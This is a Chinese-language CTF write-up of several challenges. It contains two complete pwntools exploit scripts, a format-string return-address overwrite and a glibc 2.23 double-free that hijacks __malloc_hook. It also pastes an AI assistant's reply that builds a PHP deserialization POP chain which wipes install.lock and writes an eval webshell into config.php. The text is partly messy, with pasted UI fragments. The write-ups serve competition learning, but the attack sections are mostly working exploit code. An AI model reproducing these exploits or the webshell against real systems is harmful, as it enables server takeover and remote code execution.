我最好的初代同事

fmt，利用栈上残存的数据构造出返回地址，然后部分写到后门，爆破一位即可

```
from pwn import *
from pwncli import *
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def li(a):
    print(hex(a))
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_32():
    return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb():
#     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug():
    gdb.attach(p)

context(os='linux',arch='amd64',log_level='debug')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./pwn')
# p = process('./pwn')
p = remote("113.201.14.253",43165)
for i in range(5):
    rl(b"t's ")
    x = int(p.recv(2),10)
    rl(b" add ")
    y = int(p.recv(2),10)
    sl(str(x + y).encode())

payload = b"%10$p"
# debug()
sl(b"1")
sl(payload)
rl(b"Your input:")
stack = int(p.recv(14),16) - 0x18
backdoor = 0x54E3
payload = b"%" + str(stack & 0xffff).encode() + b"c%10$hn"
```

```
sl(b"1")
s(payload)
sleep(1)
payload = b"%" + str(backdoor & 0xffff).encode() + b"c%14$hn"
sl(b"1")
s(payload)
inter()
```

我不吃牛肉

手工测出各个函数的seed，libc2.23，uaf打malloc_hook即可，利用一下realloc调整寄存器，ogg即可

```
from pwncli import *
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def li(a):
    print(hex(a))
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_32():
    return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def debug():
    gdb.attach(p)

context(os='linux',arch='amd64',log_level='debug')
libc = ELF("./libc.so.6")
p = process("./pwn")

def add(idx,size):
    rl(b"ce:\n")
    sl(str(8).encode())
    rl(b"index:\n")
    sl(str(idx).encode())
    rl(b"size:\n")
    sl(str(size).encode())
def free(idx):
    rl(b"ce:\n")
    sl(str(4).encode())
    rl(b'index:\n')
    sl(str(idx).encode())
def show(idx):
    rl(b"ce:\n")
```

```
    sl(str(0).encode())
    rl(b"index:\n")
    sl(str(idx).encode())
def edit(idx,length,data):
    rl(b"ce:\n")
    sl(str(2).encode())
    rl(b"index:\n")
    sl(str(idx).encode())
    rl(b"length:\n")
    sl(str(length).encode())
    rl(b"ent:\n")
    s(data)

add(0,0x80)
add(1,0x68)
add(2,0x68)
free(0)
show(0)
libc_base = get_addr() - 0x3C4B78
li(libc_base)
add(3,0x80)
free(1)
free(2)
free(1)
malloc_hook = libc_base + libc.sym["__malloc_hook"] - 0x23
ogg = libc_base + 0x4527a
add(4,0x68)
edit(4,0x10,p64(malloc_hook)*2)
add(5,0x68)
add(6,0x68)
realloc = libc_base + libc.sym["__libc_realloc"]
add(7,0x68)
edit(7,0x68,b"a"*0xb+p64(ogg)+p64(realloc+4))
add(8,0x68)

inter()
```

浅析PHP原生类

我只能说，AI还是太强势了

```
    return True;
}
```

这是链条的终点。该方法实例化了一个由 `$cla` 指定的类，并调用了它的 `open` 方法，参数是 `$file` 和 `$cont`。

构造 POP 链的思路

根据上面的分析，我们需要构造一个嵌套的对象结构，使得魔术方法按顺序触发：

1. **对象 A (`install`)**：作为最外层对象被反序列化。
   - 触发 `__wakeup`。
   - 它的 `$username` 属性需要是 **对象 B**。
2. **对象 B (`install`)**：
   - 因为被当作字符串拼接，触发 `__toString`。
   - 它的 `$username` 属性需要是 **对象 C**。
3. **对象 C (`Until`)**：
   - 因为被当作函数调用，触发 `__invoke`。
   - 它的 `$a`, `$b`, `$c` 属性将被传递给 `write` 方法。

关键点提示

- **利用类**：在 `Until::write` 中，代码执行了 `new $cla()` 和 `$obj->open(...)`。你需要寻找 PHP 原生类中是否存在带有 `open` 方法的类。在 CTF 中，`ZipArchive` 是一个常见的利用对象，它的 `open` 方法可以用来创建或覆盖文件（配合 `addFromString` 等操作，但这里只能调用 `open`，可能需要结合其他环境因素或特定类的行为）。
- **属性可见性**：`install` 类的属性是 `private`。在构造序列化字符串时，私有属性的名字会有特殊的编码格式（例如 `\0类名\0属性名`），或者在生成 Payload 时直接在类定义中使用 `private` 修饰符并由 PHP 序列化生成。

通过理解这个调用链（

`__wakeup` -> `__toString` -> `__invoke` -> `write`），你就可以尝试构造出符合逻辑的对象结构来解题了。

Gemini 3 Pro (Preview) • 1x

写出脚本

test.c

写出脚本

test.php

已使用 1 个引用

Done: Unpacking the Serialize Data

这是一个典型的 PHP 反序列化 POP 链构造题目。

核心思路

1. **入口 (`unserialize`)**: 反序列化 `install` 类，触发 `__wakeup`。
2. **第一跳 (`__wakeup`)**: `echo "Hello,".$this->username;`。如果 `$this->username` 是一个对象，会触发该对象的 `__toString` 方法。我们将 `$this->username` 设置为另一个 `install` 对象。
3. **第二跳 (`__toString`)**: `($this->username)();`。这里将属性当作函数调用，会触发对象的 `__invoke` 方法。我们将内部 `install` 对象的 `$username` 设置为 `Until` 对象。
4. **第三跳 (`__invoke`)**: `Until` 类的 `__invoke` 调用了 `$this->write($this->a, $this->b, $this->c)`。
5. **终点 (`write`)**:

```php
<?php
$obj = new $cla();
$obj->open($file,$cont);
```

我们需要利用这个 `open` 操作。

难点与利用

题目中的 `install` 类在 `__destruct` 时会检查 install.lock 是否存在。如果存在则退出，否则写入 config.php。
我们的目标是写入 webshell 到 config.php。
但是，通常环境下 install.lock 是存在的。我们需要利用 `Until::write` 中的 `open` 操作来消除这个障碍。

利用 `ZipArchive` 类:
PHP 原生类 `ZipArchive` 有一个 `open` 方法：`open($filename, $flags)`。
如果我们设置 `$flags` 为 `ZipArchive::OVERWRITE`（整数值 8），它会尝试覆盖目标文件（或创建一个新的空 zip 文件），这可以用来"清空"或破坏 install.lock，从而绕过 `file_exists` 的检查（或者利用覆盖行为配合后续逻辑）。

Webshell 注入点:
`install::__destruct` 会将 `$this->username` 序列化后写入 config.php。
我们需要构造一个嵌套结构：

- **外层 `install` (Root)**:
  - `username`: **内层 `install` (Trigger)**

index.php

提问。

Ask Gemini 3 Pro (Preview)

截图工具

屏幕截图已
已自动保存

Webshell 注入点:
`install::__destruct` 会将 `$this->username` 序列化后写入 config.php 。
我们需要构造一个嵌套结构:

- **外层 `install` (Root):**
  - `username`: **内层 `install` (Trigger)**
- **内层 `install` (Trigger):**
  - `username`: **`Until` 对象 (Payload)**
  - `password`: **Webshell 代码** (这里是注入点)

执行流程:

1. 反序列化开始，**Root** `__wakeup` 触发。
2. **Root** 触发 **Trigger** 的 `__toString`。
3. **Trigger** 触发 **Payload** (`Until`) 的 `__invoke`。
4. **Payload** 执行 `ZipArchive::open('install.lock', 8)`，破坏锁文件。
5. 脚本结束，开始销毁对象。
6. **Root** 对象先销毁（通常顺序），执行 `__destruct`。
   - 检查 install.lock -> 不存在（已被破坏）。
   - 写入 config.php -> 内容包含序列化的 **Trigger** 对象（其中包含 Webshell）。
   - 写入 install.lock -> 重新生成锁文件。
7. **Trigger** 对象销毁，执行 `__destruct`。
   - 检查 install.lock -> 存在（刚被 Root 重建）。
   - 退出（避免覆盖掉包含 Webshell 的 config.php）。

生成脚本

```php
<?php

class install {
    private $username;
    private $password;
```

生成脚本

```php
<?php

class install {
    private $username;
    private $password;

    public function __construct($username = null, $password = null) {
        $this->username = $username;
        $this->password = $password;
    }
}

class Until {
    public $a;
    public $b;
    public $c;

    public function __construct($a, $b, $c) {
        $this->a = $a;
        $this->b = $b;
        $this->c = $c;
    }
}

// 1. 构造 Payload (Until 对象)
// 用于执行 ZipArchive::open('install.lock', 8) 以覆盖/清空锁文件
// 8 对应 ZipArchive::OVERWRITE
$payload = new Until("ZipArchive", "install.lock", 8);

// 2. 构造 Trigger (内层 install 对象)
// 它的 __toString 会被触发，进而触发 $payload 的 __invoke
// 我们把 Webshell 藏在这个对象的 password 属性中
// 因为外层对象写入 config.php 时会序列化这个对象，导致 Webshell 被写入文件
$trigger = new install($payload, "<?php @eval(\$_POST[1]);?>");

// 3. 构造 Root (外层 install 对象)
// 入口点，它的 __wakeup 触发整个链条
$root = new install($trigger, "anything");

// 生成 Payload
```

index.php

提问。

Ask Gemini 3 Pro (Preview)

```php
    }
}

// 1. 构造 Payload (Until 对象)
// 用于执行 ZipArchive::open('install.lock', 8) 以覆盖/清空锁文件
// 8 对应 ZipArchive::OVERWRITE
$payload = new Until("ZipArchive", "install.lock", 8);

// 2. 构造 Trigger (内层 install 对象)
// 它的 __toString 会被触发，进而触发 $payload 的 __invoke
// 我们把 Webshell 藏在这个对象的 password 属性中
// 因为外层对象写入 config.php 时会序列化这个对象，导致 Webshell 被写入文件
$trigger = new install($payload, "<?php @eval(\$_POST[1]);?>");

// 3. 构造 Root (外层 install 对象)
// 入口点，它的 __wakeup 触发整个链条
$root = new install($trigger, "anything");

// 生成 Payload
echo urlencode(serialize($root));

?>
```

使用方法

1. 运行上述脚本生成 Payload 字符串。
2. 将生成的字符串作为 `data` 参数发送给题目：`?data=...`。
3.

访问 config.php ，使用 POST 请求参数 `1` 执行命令（例如 `1=system('cat /flag');`）。

Gemini 3 Pro (Pr

全程驱使AI（新时代最好用的工具

我勒个超级玛丽奥

通关1-1，屏幕出

可恶的木马竟然伪装成我的朋友

首先解压wp，发现这玩意儿↓

access.log.1381795200	2025/11/6 19:38
ex180223.log	2025/11/6 17:12
ex180227.log	2018/2/27 11:03
ex180222.log	2018/2/23 0:00

结合出题动机和时间，那肯定要看前两个文件发现是普通日志,但上面那个是2013的，下面那个是2018的，看提示

> 某天晚上，X单位的网站发现一个伪装成图片文件的木马程序（banner_home.jpg），**管理员发现问题后第一时间关停了Web服务器，几天后提取了全部日志。**分析“事发现场”日志可知：

> 线索1：黑客上传木马事件发生的日期是？（格式如下：**2018-06-20**）
> 线索2：黑客上传木马时使用的IP地址是？
> 线索3：在当晚的行动中，黑客曾先后尝试访问以下Webshell？（只填写文件名，无需路径。如有多个Webshell，请按当天日志记录的尝试访问时间先后排序，并以、符号分隔，如abc.php-123.php-demo.php）

> 在获取到所有的线索答案后，请按照如下格式进行拼接为flag【格式示例：flag{2011-1-11/111.11.1.11/1111.jsp-e111.jsp-1111.jsp}】

发现暗示是时间比较近的那个，那就是ex180223.log，分段丢给ai分析，

ex180223.log
1.46 MB

123.php-demo.php）
在获取到所有的线索答案后，请按照如下格式进行拼接为flag【格式示例：flag{2011-11/111.11.1.11/1111.jsp-e111.jsp-1111.jsp}】

输出给定的flag格式
注意第一时间说明是近期

所以最终答案是**flag{2018-2-23/183.62.9.42/table.jsp-en.jsp-2.jsp}**

7篇参考来源

直接**flag{2018-2-23/183.62.9.42/table.jsp-en.jsp-2.jsp}**